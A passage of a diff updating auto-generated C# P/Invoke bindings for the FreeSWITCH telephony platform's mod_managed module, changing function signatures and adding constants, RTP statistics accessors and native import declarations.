-    switch_status_t ret = (switch_status_t)freeswitchPINVOKE.switch_resample_create(SWIGTYPE_p_p_switch_audio_resampler_t.getCPtr(new_resampler), from_rate, SWIGTYPE_p_switch_size_t.getCPtr(from_size), to_rate, to_size, SWIGTYPE_p_apr_pool_t.getCPtr(pool));
-    if (freeswitchPINVOKE.SWIGPendingException.Pending) throw freeswitchPINVOKE.SWIGPendingException.Retrieve();
+  public static switch_status_t switch_resample_perform_create(SWIGTYPE_p_p_switch_audio_resampler_t new_resampler, uint from_rate, uint to_rate, uint to_size, int quality, uint channels, string file, string func, int line) {
+    switch_status_t ret = (switch_status_t)freeswitchPINVOKE.switch_resample_perform_create(SWIGTYPE_p_p_switch_audio_resampler_t.getCPtr(new_resampler), from_rate, to_rate, to_size, quality, channels, file, func, line);
     return ret;
   }
 
@@ -2850,8 +3003,8 @@
     freeswitchPINVOKE.switch_resample_destroy(SWIGTYPE_p_p_switch_audio_resampler_t.getCPtr(resampler));
   }
 
-  public static uint switch_resample_process(switch_audio_resampler_t resampler, SWIGTYPE_p_float src, int srclen, SWIGTYPE_p_float dst, uint dstlen, int last) {
-    uint ret = freeswitchPINVOKE.switch_resample_process(switch_audio_resampler_t.getCPtr(resampler), SWIGTYPE_p_float.getCPtr(src), srclen, SWIGTYPE_p_float.getCPtr(dst), dstlen, last);
+  public static uint switch_resample_process(switch_audio_resampler_t resampler, SWIGTYPE_p_short src, uint srclen) {
+    uint ret = freeswitchPINVOKE.switch_resample_process(switch_audio_resampler_t.getCPtr(resampler), SWIGTYPE_p_short.getCPtr(src), srclen);
     return ret;
   }
 
@@ -2893,8 +3046,9 @@
     return ret;
   }
 
-  public static void switch_mux_channels(SWIGTYPE_p_short data, uint samples, uint channels) {
-    freeswitchPINVOKE.switch_mux_channels(SWIGTYPE_p_short.getCPtr(data), samples, channels);
+  public static void switch_mux_channels(SWIGTYPE_p_short data, SWIGTYPE_p_switch_size_t samples, uint channels) {
+    freeswitchPINVOKE.switch_mux_channels(SWIGTYPE_p_short.getCPtr(data), SWIGTYPE_p_switch_size_t.getCPtr(samples), channels);
+    if (freeswitchPINVOKE.SWIGPendingException.Pending) throw freeswitchPINVOKE.SWIGPendingException.Retrieve();
   }
 
   public static switch_status_t switch_ivr_deactivate_unicast(SWIGTYPE_p_switch_core_session session) {
@@ -2958,8 +3112,8 @@
     return ret;
   }
 
-  public static switch_status_t switch_ivr_detect_speech(SWIGTYPE_p_switch_core_session session, string mod_name, string grammar, string path, string dest, switch_asr_handle ah) {
-    switch_status_t ret = (switch_status_t)freeswitchPINVOKE.switch_ivr_detect_speech(SWIGTYPE_p_switch_core_session.getCPtr(session), mod_name, grammar, path, dest, switch_asr_handle.getCPtr(ah));
+  public static switch_status_t switch_ivr_detect_speech(SWIGTYPE_p_switch_core_session session, string mod_name, string grammar, string name, string dest, switch_asr_handle ah) {
+    switch_status_t ret = (switch_status_t)freeswitchPINVOKE.switch_ivr_detect_speech(SWIGTYPE_p_switch_core_session.getCPtr(session), mod_name, grammar, name, dest, switch_asr_handle.getCPtr(ah));
     return ret;
   }
 
@@ -2978,13 +3132,13 @@
     return ret;
   }
 
-  public static switch_status_t switch_ivr_detect_speech_load_grammar(SWIGTYPE_p_switch_core_session session, string grammar, string path) {
-    switch_status_t ret = (switch_status_t)freeswitchPINVOKE.switch_ivr_detect_speech_load_grammar(SWIGTYPE_p_switch_core_session.getCPtr(session), grammar, path);
+  public static switch_status_t switch_ivr_detect_speech_load_grammar(SWIGTYPE_p_switch_core_session session, string grammar, string name) {
+    switch_status_t ret = (switch_status_t)freeswitchPINVOKE.switch_ivr_detect_speech_load_grammar(SWIGTYPE_p_switch_core_session.getCPtr(session), grammar, name);
     return ret;
   }
 
-  public static switch_status_t switch_ivr_detect_speech_unload_grammar(SWIGTYPE_p_switch_core_session session, string grammar) {
-    switch_status_t ret = (switch_status_t)freeswitchPINVOKE.switch_ivr_detect_speech_unload_grammar(SWIGTYPE_p_switch_core_session.getCPtr(session), grammar);
+  public static switch_status_t switch_ivr_detect_speech_unload_grammar(SWIGTYPE_p_switch_core_session session, string name) {
+    switch_status_t ret = (switch_status_t)freeswitchPINVOKE.switch_ivr_detect_speech_unload_grammar(SWIGTYPE_p_switch_core_session.getCPtr(session), name);
     return ret;
   }
 
@@ -3185,8 +3339,8 @@
     return ret;
   }
 
-  public static switch_status_t switch_ivr_digit_stream_destroy(SWIGTYPE_p_switch_ivr_digit_stream stream) {
-    switch_status_t ret = (switch_status_t)freeswitchPINVOKE.switch_ivr_digit_stream_destroy(SWIGTYPE_p_switch_ivr_digit_stream.getCPtr(stream));
+  public static switch_status_t switch_ivr_digit_stream_destroy(SWIGTYPE_p_p_switch_ivr_digit_stream stream) {
+    switch_status_t ret = (switch_status_t)freeswitchPINVOKE.switch_ivr_digit_stream_destroy(SWIGTYPE_p_p_switch_ivr_digit_stream.getCPtr(stream));
     return ret;
   }
 
@@ -3216,8 +3370,8 @@
     return ret;
   }
 
-  public static switch_status_t switch_ivr_menu_init(SWIGTYPE_p_p_switch_ivr_menu new_menu, SWIGTYPE_p_switch_ivr_menu main, string name, string greeting_sound, string short_greeting_sound, string invalid_sound, string exit_sound, string confirm_macro, string confirm_key, int confirm_attempts, int inter_timeout, int digit_len, int timeout, int max_failures, int max_timeouts, SWIGTYPE_p_apr_pool_t pool) {
-    switch_status_t ret = (switch_status_t)freeswitchPINVOKE.switch_ivr_menu_init(SWIGTYPE_p_p_switch_ivr_menu.getCPtr(new_menu), SWIGTYPE_p_switch_ivr_menu.getCPtr(main), name, greeting_sound, short_greeting_sound, invalid_sound, exit_sound, confirm_macro, confirm_key, confirm_attempts, inter_timeout, digit_len, timeout, max_failures, max_timeouts, SWIGTYPE_p_apr_pool_t.getCPtr(pool));
+  public static switch_status_t switch_ivr_menu_init(SWIGTYPE_p_p_switch_ivr_menu new_menu, SWIGTYPE_p_switch_ivr_menu main, string name, string greeting_sound, string short_greeting_sound, string invalid_sound, string exit_sound, string confirm_macro, string confirm_key, string tts_engine, string tts_voice, int confirm_attempts, int inter_timeout, int digit_len, int timeout, int max_failures, int max_timeouts, SWIGTYPE_p_apr_pool_t pool) {
+    switch_status_t ret = (switch_status_t)freeswitchPINVOKE.switch_ivr_menu_init(SWIGTYPE_p_p_switch_ivr_menu.getCPtr(new_menu), SWIGTYPE_p_switch_ivr_menu.getCPtr(main), name, greeting_sound, short_greeting_sound, invalid_sound, exit_sound, confirm_macro, confirm_key, tts_engine, tts_voice, confirm_attempts, inter_timeout, digit_len, timeout, max_failures, max_timeouts, SWIGTYPE_p_apr_pool_t.getCPtr(pool));
     return ret;
   }
 
@@ -3330,6 +3484,15 @@
     return ret;
   }
 
+  public static switch_status_t switch_ivr_sound_test(SWIGTYPE_p_switch_core_session session) {
+    switch_status_t ret = (switch_status_t)freeswitchPINVOKE.switch_ivr_sound_test(SWIGTYPE_p_switch_core_session.getCPtr(session));
+    return ret;
+  }
+
+  public static void switch_process_import(SWIGTYPE_p_switch_core_session session, SWIGTYPE_p_switch_channel peer_channel, string varname) {
+    freeswitchPINVOKE.switch_process_import(SWIGTYPE_p_switch_core_session.getCPtr(session), SWIGTYPE_p_switch_channel.getCPtr(peer_channel), varname);
+  }
+
   public static switch_status_t switch_rtp_add_crypto_key(SWIGTYPE_p_switch_rtp rtp_session, switch_rtp_crypto_direction_t direction, uint index, switch_rtp_crypto_key_type_t type, SWIGTYPE_p_unsigned_char key, SWIGTYPE_p_switch_size_t keylen) {
     switch_status_t ret = (switch_status_t)freeswitchPINVOKE.switch_rtp_add_crypto_key(SWIGTYPE_p_switch_rtp.getCPtr(rtp_session), (int)direction, index, (int)type, SWIGTYPE_p_unsigned_char.getCPtr(key), SWIGTYPE_p_switch_size_t.getCPtr(keylen));
     if (freeswitchPINVOKE.SWIGPendingException.Pending) throw freeswitchPINVOKE.SWIGPendingException.Retrieve();
@@ -3514,8 +3677,8 @@
     return ret;
   }
 
-  public static void rtp_flush_read_buffer(SWIGTYPE_p_switch_rtp rtp_session) {
-    freeswitchPINVOKE.rtp_flush_read_buffer(SWIGTYPE_p_switch_rtp.getCPtr(rtp_session));
+  public static void rtp_flush_read_buffer(SWIGTYPE_p_switch_rtp rtp_session, switch_rtp_flush_t flush) {
+    freeswitchPINVOKE.rtp_flush_read_buffer(SWIGTYPE_p_switch_rtp.getCPtr(rtp_session), (int)flush);
   }
 
   public static switch_status_t switch_rtp_enable_vad(SWIGTYPE_p_switch_rtp rtp_session, SWIGTYPE_p_switch_core_session session, switch_codec codec, uint flags) {
@@ -3570,6 +3733,12 @@
     freeswitchPINVOKE.switch_rtp_intentional_bugs(SWIGTYPE_p_switch_rtp.getCPtr(rtp_session), (int)bugs);
   }
 
+  public static switch_rtp_stats_t switch_rtp_get_stats(SWIGTYPE_p_switch_rtp rtp_session, SWIGTYPE_p_apr_pool_t pool) {
+    IntPtr cPtr = freeswitchPINVOKE.switch_rtp_get_stats(SWIGTYPE_p_switch_rtp.getCPtr(rtp_session), SWIGTYPE_p_apr_pool_t.getCPtr(pool));
+    switch_rtp_stats_t ret = (cPtr == IntPtr.Zero) ? null : new switch_rtp_stats_t(cPtr, false);
+    return ret;
+  }
+
   public static switch_status_t switch_log_init(SWIGTYPE_p_apr_pool_t pool, switch_bool_t colorize) {
     switch_status_t ret = (switch_status_t)freeswitchPINVOKE.switch_log_init(SWIGTYPE_p_apr_pool_t.getCPtr(pool), (int)colorize);
     return ret;
@@ -3605,6 +3774,12 @@
     return ret;
   }
 
+  public static switch_xml switch_xml_parse_str_dynamic(string s, switch_bool_t dup) {
+    IntPtr cPtr = freeswitchPINVOKE.switch_xml_parse_str_dynamic(s, (int)dup);
+    switch_xml ret = (cPtr == IntPtr.Zero) ? null : new switch_xml(cPtr, false);
+    return ret;
+  }
+
   public static switch_xml switch_xml_parse_str(string s, SWIGTYPE_p_switch_size_t len) {
     IntPtr cPtr = freeswitchPINVOKE.switch_xml_parse_str(s, SWIGTYPE_p_switch_size_t.getCPtr(len));
     switch_xml ret = (cPtr == IntPtr.Zero) ? null : new switch_xml(cPtr, false);
@@ -3760,8 +3935,8 @@
     return ret;
   }
 
-  public static switch_status_t switch_xml_locate(string section, string tag_name, string key_name, string key_value, SWIGTYPE_p_p_switch_xml root, SWIGTYPE_p_p_switch_xml node, switch_event arg6) {
-    switch_status_t ret = (switch_status_t)freeswitchPINVOKE.switch_xml_locate(section, tag_name, key_name, key_value, SWIGTYPE_p_p_switch_xml.getCPtr(root), SWIGTYPE_p_p_switch_xml.getCPtr(node), switch_event.getCPtr(arg6));
+  public static switch_status_t switch_xml_locate(string section, string tag_name, string key_name, string key_value, SWIGTYPE_p_p_switch_xml root, SWIGTYPE_p_p_switch_xml node, switch_event arg6, switch_bool_t clone) {
+    switch_status_t ret = (switch_status_t)freeswitchPINVOKE.switch_xml_locate(section, tag_name, key_name, key_value, SWIGTYPE_p_p_switch_xml.getCPtr(root), SWIGTYPE_p_p_switch_xml.getCPtr(node), switch_event.getCPtr(arg6), (int)clone);
     return ret;
   }
 
@@ -4080,6 +4255,8 @@
   public static readonly int SWITCH_MAX_DTMF_DURATION = freeswitchPINVOKE.SWITCH_MAX_DTMF_DURATION_get();
   public static readonly string SWITCH_PATH_SEPARATOR = freeswitchPINVOKE.SWITCH_PATH_SEPARATOR_get();
   public static readonly string SWITCH_URL_SEPARATOR = freeswitchPINVOKE.SWITCH_URL_SEPARATOR_get();
+  public static readonly string SWITCH_BRIDGE_HANGUP_CAUSE_VARIABLE = freeswitchPINVOKE.SWITCH_BRIDGE_HANGUP_CAUSE_VARIABLE_get();
+  public static readonly string SWITCH_READ_TERMINATOR_USED_VARIABLE = freeswitchPINVOKE.SWITCH_READ_TERMINATOR_USED_VARIABLE_get();
   public static readonly string SWITCH_SEND_SILENCE_WHEN_IDLE_VARIABLE = freeswitchPINVOKE.SWITCH_SEND_SILENCE_WHEN_IDLE_VARIABLE_get();
   public static readonly string SWITCH_CURRENT_APPLICATION_VARIABLE = freeswitchPINVOKE.SWITCH_CURRENT_APPLICATION_VARIABLE_get();
   public static readonly string SWITCH_CURRENT_APPLICATION_DATA_VARIABLE = freeswitchPINVOKE.SWITCH_CURRENT_APPLICATION_DATA_VARIABLE_get();
@@ -4118,6 +4295,7 @@
   public static readonly string SWITCH_SIGNAL_BOND_VARIABLE = freeswitchPINVOKE.SWITCH_SIGNAL_BOND_VARIABLE_get();
   public static readonly string SWITCH_ORIGINATOR_VARIABLE = freeswitchPINVOKE.SWITCH_ORIGINATOR_VARIABLE_get();
   public static readonly string SWITCH_ORIGINATOR_CODEC_VARIABLE = freeswitchPINVOKE.SWITCH_ORIGINATOR_CODEC_VARIABLE_get();
+  public static readonly string SWITCH_ORIGINATOR_VIDEO_CODEC_VARIABLE = freeswitchPINVOKE.SWITCH_ORIGINATOR_VIDEO_CODEC_VARIABLE_get();
   public static readonly string SWITCH_LOCAL_MEDIA_IP_VARIABLE = freeswitchPINVOKE.SWITCH_LOCAL_MEDIA_IP_VARIABLE_get();
   public static readonly string SWITCH_LOCAL_MEDIA_PORT_VARIABLE = freeswitchPINVOKE.SWITCH_LOCAL_MEDIA_PORT_VARIABLE_get();
   public static readonly string SWITCH_REMOTE_MEDIA_IP_VARIABLE = freeswitchPINVOKE.SWITCH_REMOTE_MEDIA_IP_VARIABLE_get();
@@ -4128,6 +4306,7 @@
   public static readonly string SWITCH_LOCAL_VIDEO_PORT_VARIABLE = freeswitchPINVOKE.SWITCH_LOCAL_VIDEO_PORT_VARIABLE_get();
   public static readonly string SWITCH_HANGUP_AFTER_BRIDGE_VARIABLE = freeswitchPINVOKE.SWITCH_HANGUP_AFTER_BRIDGE_VARIABLE_get();
   public static readonly string SWITCH_PARK_AFTER_BRIDGE_VARIABLE = freeswitchPINVOKE.SWITCH_PARK_AFTER_BRIDGE_VARIABLE_get();
+  public static readonly string SWITCH_TRANSFER_AFTER_BRIDGE_VARIABLE = freeswitchPINVOKE.SWITCH_TRANSFER_AFTER_BRIDGE_VARIABLE_get();
   public static readonly string SWITCH_EXEC_AFTER_BRIDGE_APP_VARIABLE = freeswitchPINVOKE.SWITCH_EXEC_AFTER_BRIDGE_APP_VARIABLE_get();
   public static readonly string SWITCH_EXEC_AFTER_BRIDGE_ARG_VARIABLE = freeswitchPINVOKE.SWITCH_EXEC_AFTER_BRIDGE_ARG_VARIABLE_get();
   public static readonly string SWITCH_MAX_FORWARDS_VARIABLE = freeswitchPINVOKE.SWITCH_MAX_FORWARDS_VARIABLE_get();
@@ -4136,6 +4315,7 @@
   public static readonly string SWITCH_UUID_BRIDGE = freeswitchPINVOKE.SWITCH_UUID_BRIDGE_get();
   public static readonly int SWITCH_BITS_PER_BYTE = freeswitchPINVOKE.SWITCH_BITS_PER_BYTE_get();
   public static readonly int SWITCH_DEFAULT_FILE_BUFFER_LEN = freeswitchPINVOKE.SWITCH_DEFAULT_FILE_BUFFER_LEN_get();
+  public static readonly int SWITCH_DTMF_LOG_LEN = freeswitchPINVOKE.SWITCH_DTMF_LOG_LEN_get();
   public static readonly int SWITCH_MAX_STACKS = freeswitchPINVOKE.SWITCH_MAX_STACKS_get();
   public static readonly int SWITCH_THREAD_STACKSIZE = freeswitchPINVOKE.SWITCH_THREAD_STACKSIZE_get();
   public static readonly int SWITCH_SYSTEM_THREAD_STACKSIZE = freeswitchPINVOKE.SWITCH_SYSTEM_THREAD_STACKSIZE_get();
@@ -4185,6 +4365,7 @@
   public static readonly int SWITCH_CMD_CHUNK_LEN = freeswitchPINVOKE.SWITCH_CMD_CHUNK_LEN_get();
   public static readonly int SWITCH_SMAX = freeswitchPINVOKE.SWITCH_SMAX_get();
   public static readonly int SWITCH_SMIN = freeswitchPINVOKE.SWITCH_SMIN_get();
+  public static readonly int SWITCH_RESAMPLE_QUALITY = freeswitchPINVOKE.SWITCH_RESAMPLE_QUALITY_get();
   public static readonly int SWITCH_RTP_MAX_BUF_LEN = freeswitchPINVOKE.SWITCH_RTP_MAX_BUF_LEN_get();
   public static readonly int SWITCH_RTP_MAX_CRYPTO_LEN = freeswitchPINVOKE.SWITCH_RTP_MAX_CRYPTO_LEN_get();
   public static readonly int SWITCH_RTP_KEY_LEN = freeswitchPINVOKE.SWITCH_RTP_KEY_LEN_get();
@@ -4552,6 +4733,12 @@
   [DllImport("mod_managed", EntryPoint="CSharp_SWITCH_URL_SEPARATOR_get")]
   public static extern string SWITCH_URL_SEPARATOR_get();
 
+  [DllImport("mod_managed", EntryPoint="CSharp_SWITCH_BRIDGE_HANGUP_CAUSE_VARIABLE_get")]
+  public static extern string SWITCH_BRIDGE_HANGUP_CAUSE_VARIABLE_get();
+
+  [DllImport("mod_managed", EntryPoint="CSharp_SWITCH_READ_TERMINATOR_USED_VARIABLE_get")]
+  public static extern string SWITCH_READ_TERMINATOR_USED_VARIABLE_get();
+
   [DllImport("mod_managed", EntryPoint="CSharp_SWITCH_SEND_SILENCE_WHEN_IDLE_VARIABLE_get")]
   public static extern string SWITCH_SEND_SILENCE_WHEN_IDLE_VARIABLE_get();
 
@@ -4666,6 +4853,9 @@
   [DllImport("mod_managed", EntryPoint="CSharp_SWITCH_ORIGINATOR_CODEC_VARIABLE_get")]
   public static extern string SWITCH_ORIGINATOR_CODEC_VARIABLE_get();
 
+  [DllImport("mod_managed", EntryPoint="CSharp_SWITCH_ORIGINATOR_VIDEO_CODEC_VARIABLE_get")]
+  public static extern string SWITCH_ORIGINATOR_VIDEO_CODEC_VARIABLE_get();
+
   [DllImport("mod_managed", EntryPoint="CSharp_SWITCH_LOCAL_MEDIA_IP_VARIABLE_get")]
   public static extern string SWITCH_LOCAL_MEDIA_IP_VARIABLE_get();
 
@@ -4696,6 +4886,9 @@
   [DllImport("mod_managed", EntryPoint="CSharp_SWITCH_PARK_AFTER_BRIDGE_VARIABLE_get")]
   public static extern string SWITCH_PARK_AFTER_BRIDGE_VARIABLE_get();
 
+  [DllImport("mod_managed", EntryPoint="CSharp_SWITCH_TRANSFER_AFTER_BRIDGE_VARIABLE_get")]
+  public static extern string SWITCH_TRANSFER_AFTER_BRIDGE_VARIABLE_get();
+
   [DllImport("mod_managed", EntryPoint="CSharp_SWITCH_EXEC_AFTER_BRIDGE_APP_VARIABLE_get")]
   public static extern string SWITCH_EXEC_AFTER_BRIDGE_APP_VARIABLE_get();
 
@@ -4720,6 +4913,9 @@
   [DllImport("mod_managed", EntryPoint="CSharp_SWITCH_DEFAULT_FILE_BUFFER_LEN_get")]
   public static extern int SWITCH_DEFAULT_FILE_BUFFER_LEN_get();
 
+  [DllImport("mod_managed", EntryPoint="CSharp_SWITCH_DTMF_LOG_LEN_get")]
+  public static extern int SWITCH_DTMF_LOG_LEN_get();
+
   [DllImport("mod_managed", EntryPoint="CSharp_switch_dtmf_t_digit_set")]
   public static extern void switch_dtmf_t_digit_set(HandleRef jarg1, char jarg2);
 
@@ -4930,6 +5126,84 @@
   [DllImport("mod_managed", EntryPoint="CSharp_SWITCH_MAX_MANAGEMENT_BUFFER_LEN_get")]
   public static extern int SWITCH_MAX_MANAGEMENT_BUFFER_LEN_get();
 
+  [DllImport("mod_managed", EntryPoint="CSharp_switch_rtp_numbers_t_raw_bytes_set")]
+  public static extern void switch_rtp_numbers_t_raw_bytes_set(HandleRef jarg1, HandleRef jarg2);
+
+  [DllImport("mod_managed", EntryPoint="CSharp_switch_rtp_numbers_t_raw_bytes_get")]
+  public static extern IntPtr switch_rtp_numbers_t_raw_bytes_get(HandleRef jarg1);
+
+  [DllImport("mod_managed", EntryPoint="CSharp_switch_rtp_numbers_t_media_bytes_set")]
+  public static extern void switch_rtp_numbers_t_media_bytes_set(HandleRef jarg1, HandleRef jarg2);
+
+  [DllImport("mod_managed", EntryPoint="CSharp_switch_rtp_numbers_t_media_bytes_get")]
+  public static extern IntPtr switch_rtp_numbers_t_media_bytes_get(HandleRef jarg1);
+
+  [DllImport("mod_managed", EntryPoint="CSharp_switch_rtp_numbers_t_packet_count_set")]
+  public static extern void switch_rtp_numbers_t_packet_count_set(HandleRef jarg1, HandleRef jarg2);
+
+  [DllImport("mod_managed", EntryPoint="CSharp_switch_rtp_numbers_t_packet_count_get")]
+  public static extern IntPtr switch_rtp_numbers_t_packet_count_get(HandleRef jarg1);
+
+  [DllImport("mod_managed", EntryPoint="CSharp_switch_rtp_numbers_t_media_packet_count_set")]
+  public static extern void switch_rtp_numbers_t_media_packet_count_set(HandleRef jarg1, HandleRef jarg2);
+
+  [DllImport("mod_managed", EntryPoint="CSharp_switch_rtp_numbers_t_media_packet_count_get")]
+  public static extern IntPtr switch_rtp_numbers_t_media_packet_count_get(HandleRef jarg1);
+
+  [DllImport("mod_managed", EntryPoint="CSharp_switch_rtp_numbers_t_skip_packet_count_set")]
+  public static extern void switch_rtp_numbers_t_skip_packet_count_set(HandleRef jarg1, HandleRef jarg2);
+
+  [DllImport("mod_managed", EntryPoint="CSharp_switch_rtp_numbers_t_skip_packet_count_get")]
+  public static extern IntPtr switch_rtp_numbers_t_skip_packet_count_get(HandleRef jarg1);
+
+  [DllImport("mod_managed", EntryPoint="CSharp_switch_rtp_numbers_t_jb_packet_count_set")]
+  public static extern void switch_rtp_numbers_t_jb_packet_count_set(HandleRef jarg1, HandleRef jarg2);
+
+  [DllImport("mod_managed", EntryPoint="CSharp_switch_rtp_numbers_t_jb_packet_count_get")]
+  public static extern IntPtr switch_rtp_numbers_t_jb_packet_count_get(HandleRef jarg1);
+
+  [DllImport("mod_managed", EntryPoint="CSharp_switch_rtp_numbers_t_dtmf_packet_count_set")]
+  public static extern void switch_rtp_numbers_t_dtmf_packet_count_set(HandleRef jarg1, HandleRef jarg2);
+
+  [DllImport("mod_managed", EntryPoint="CSharp_switch_rtp_numbers_t_dtmf_packet_count_get")]
+  public static extern IntPtr switch_rtp_numbers_t_dtmf_packet_count_get(HandleRef jarg1);
+
+  [DllImport("mod_managed", EntryPoint="CSharp_switch_rtp_numbers_t_cng_packet_count_set")]
+  public static extern void switch_rtp_numbers_t_cng_packet_count_set(HandleRef jarg1, HandleRef jarg2);
+
+  [DllImport("mod_managed", EntryPoint="CSharp_switch_rtp_numbers_t_cng_packet_count_get")]
+  public static extern IntPtr switch_rtp_numbers_t_cng_packet_count_get(HandleRef jarg1);
+
+  [DllImport("mod_managed", EntryPoint="CSharp_switch_rtp_numbers_t_flush_packet_count_set")]
+  public static extern void switch_rtp_numbers_t_flush_packet_count_set(HandleRef jarg1, HandleRef jarg2);
+
+  [DllImport("mod_managed", EntryPoint="CSharp_switch_rtp_numbers_t_flush_packet_count_get")]
+  public static extern IntPtr switch_rtp_numbers_t_flush_packet_count_get(HandleRef jarg1);
+
+  [DllImport("mod_managed", EntryPoint="CSharp_new_switch_rtp_numbers_t")]
+  public static extern IntPtr new_switch_rtp_numbers_t();
+
+  [DllImport("mod_managed", EntryPoint="CSharp_delete_switch_rtp_numbers_t")]
+  public static extern void delete_switch_rtp_numbers_t(HandleRef jarg1);
+
+  [DllImport("mod_managed", EntryPoint="CSharp_switch_rtp_stats_t_inbound_set")]
+  public static extern void switch_rtp_stats_t_inbound_set(HandleRef jarg1, HandleRef jarg2);
+
+  [DllImport("mod_managed", EntryPoint="CSharp_switch_rtp_stats_t_inbound_get")]
+  public static extern IntPtr switch_rtp_stats_t_inbound_get(HandleRef jarg1);
+
+  [DllImport("mod_managed", EntryPoint="CSharp_switch_rtp_stats_t_outbound_set")]
+  public static extern void switch_rtp_stats_t_outbound_set(HandleRef jarg1, HandleRef jarg2);
+
+  [DllImport("mod_managed", EntryPoint="CSharp_switch_rtp_stats_t_outbound_get")]
+  public static extern IntPtr switch_rtp_stats_t_outbound_get(HandleRef jarg1);
+
+  [DllImport("mod_managed", EntryPoint="CSharp_new_switch_rtp_stats_t")]
+  public static extern IntPtr new_switch_rtp_stats_t();
+
+  [DllImport("mod_managed", EntryPoint="CSharp_delete_switch_rtp_stats_t")]
+  public static extern void delete_switch_rtp_stats_t(HandleRef jarg1);
+
   [DllImport("mod_managed", EntryPoint="CSharp_SWITCH_RTP_CNG_PAYLOAD_get")]
   public static extern int SWITCH_RTP_CNG_PAYLOAD_get();
 
@@ -5542,6 +5816,15 @@
   [DllImport("mod_managed", EntryPoint="CSharp_switch_core_media_bug_add")]
   public static extern int switch_core_media_bug_add(HandleRef jarg1, HandleRef jarg2, HandleRef jarg3, HandleRef jarg4, uint jarg5, HandleRef jarg6);
 
+  [DllImport("mod_managed", EntryPoint="CSharp_switch_core_media_bug_pause")]
+  public static extern void switch_core_media_bug_pause(HandleRef jarg1);
+
+  [DllImport("mod_managed", EntryPoint="CSharp_switch_core_media_bug_resume")]
+  public static extern void switch_core_media_bug_resume(HandleRef jarg1);
+
+  [DllImport("mod_managed", EntryPoint="CSharp_switch_core_media_bug_inuse")]
+  public static extern void switch_core_media_bug_inuse(HandleRef jarg1, HandleRef jarg2, HandleRef jarg3);
+
   [DllImport("mod_managed", EntryPoint="CSharp_switch_core_media_bug_get_user_data")]
   public static extern IntPtr switch_core_media_bug_get_user_data(HandleRef jarg1);
 
@@ -5566,6 +5849,9 @@
   [DllImport("mod_managed", EntryPoint="CSharp_switch_core_media_bug_remove")]
   public static extern int switch_core_media_bug_remove(HandleRef jarg1, HandleRef jarg2);
 
+  [DllImport("mod_managed", EntryPoint="CSharp_switch_core_media_bug_remove_callback")]
+  public static extern int switch_core_media_bug_remove_callback(HandleRef jarg1, HandleRef jarg2);
+
   [DllImport("mod_managed", EntryPoint="CSharp_switch_core_media_bug_close")]
   public static extern int switch_core_media_bug_close(HandleRef jarg1);
 
@@ -5573,7 +5859,7 @@
   public static extern int switch_core_media_bug_remove_all(HandleRef jarg1);
 
   [DllImport("mod_managed", EntryPoint="CSharp_switch_core_media_bug_read")]
-  public static extern int switch_core_media_bug_read(HandleRef jarg1, HandleRef jarg2);
+  public static extern int switch_core_media_bug_read(HandleRef jarg1, HandleRef jarg2, int jarg3);
 
   [DllImport("mod_managed", EntryPoint="CSharp_switch_core_media_bug_flush")]
   public static extern void switch_core_media_bug_flush(HandleRef jarg1);
@@ -5638,6 +5924,12 @@
   [DllImport("mod_managed", EntryPoint="CSharp_switch_core_perform_destroy_memory_pool")]
   public static extern int switch_core_perform_destroy_memory_pool(HandleRef jarg1, string jarg2, string jarg3, int jarg4);
 
+  [DllImport("mod_managed", EntryPoint="CSharp_switch_core_memory_pool_set_data")]
+  public static extern void switch_core_memory_pool_set_data(HandleRef jarg1, string jarg2, HandleRef jarg3);
+
+  [DllImport("mod_managed", EntryPoint="CSharp_switch_core_memory_pool_get_data")]
+  public static extern IntPtr switch_core_memory_pool_get_data(HandleRef jarg1, string jarg2);
+
   [DllImport("mod_managed", EntryPoint="CSharp_switch_core_session_run")]
   public static extern void switch_core_session_run(HandleRef jarg1);
 
@@ -5672,7 +5964,7 @@
   public static extern IntPtr switch_core_session_get_pool(HandleRef jarg1);
 
   [DllImport("mod_managed", EntryPoint="CSharp_switch_core_session_request_uuid")]
-  public static extern IntPtr switch_core_session_request_uuid(HandleRef jarg1, HandleRef jarg2, string jarg3);
+  public static extern IntPtr switch_core_session_request_uuid(HandleRef jarg1, int jarg2, HandleRef jarg3, string jarg4);
 
   [DllImport("mod_managed", EntryPoint="CSharp_switch_core_session_set_uuid")]
   public static extern int switch_core_session_set_uuid(HandleRef jarg1, string jarg2);
@@ -5680,6 +5972,12 @@
   [DllImport("mod_managed", EntryPoint="CSharp_switch_core_session_perform_destroy")]
   public static extern void switch_core_session_perform_destroy(HandleRef jarg1, string jarg2, string jarg3, int jarg4);
 
+  [DllImport("mod_managed", EntryPoint="CSharp_switch_core_session_destroy_state")]
+  public static extern void switch_core_session_destroy_state(HandleRef jarg1);
+
+  [DllImport("mod_managed", EntryPoint="CSharp_switch_core_session_reporting_state")]
+  public static extern void switch_core_session_reporting_state(HandleRef jarg1);
+
   [DllImport("mod_managed", EntryPoint="CSharp_switch_core_session_count")]
   public static extern uint switch_core_session_count();
 
@@ -5690,7 +5988,7 @@
   public static extern IntPtr switch_core_session_id();
 
   [DllImport("mod_managed", EntryPoint="CSharp_switch_core_session_request_by_name")]
-  public static extern IntPtr switch_core_session_request_by_name(string jarg1, HandleRef jarg2);
+  public static extern IntPtr switch_core_session_request_by_name(string jarg1, int jarg2, HandleRef jarg3);
 
   [DllImport("mod_managed", EntryPoint="CSharp_switch_core_session_thread_launch")]
   public static extern int switch_core_session_thread_launch(HandleRef jarg1);
@@ -5710,6 +6008,9 @@
   [DllImport("mod_managed", EntryPoint="CSharp_switch_core_session_locate")]
   public static extern IntPtr switch_core_session_locate(string jarg1);
 
+  [DllImport("mod_managed", EntryPoint="CSharp_switch_core_session_force_locate")]
+  public static extern IntPtr switch_core_session_force_locate(string jarg1);
+
   [DllImport("mod_managed", EntryPoint="CSharp_switch_core_get_variable")]
   public static extern string switch_core_get_variable(string jarg1);
 
@@ -5728,6 +6029,9 @@
   [DllImport("mod_managed", EntryPoint="CSharp_switch_core_session_hupall_endpoint")]
   public static extern void switch_core_session_hupall_endpoint(HandleRef jarg1, int jarg2);
 
+  [DllImport("mod_managed", EntryPoint="CSharp_switch_core_session_get_partner")]
+  public static extern int switch_core_session_get_partner(HandleRef jarg1, HandleRef jarg2);
+
   [DllImport("mod_managed", EntryPoint="CSharp_switch_core_session_message_send")]
   public static extern int switch_core_session_message_send(string jarg1, HandleRef jarg2);
 
@@ -5804,7 +6108,7 @@
   public static extern uint switch_core_session_event_count(HandleRef jarg1);
 
   [DllImport("mod_managed", EntryPoint="CSharp_switch_core_session_dequeue_event")]
-  public static extern int switch_core_session_dequeue_event(HandleRef jarg1, HandleRef jarg2);
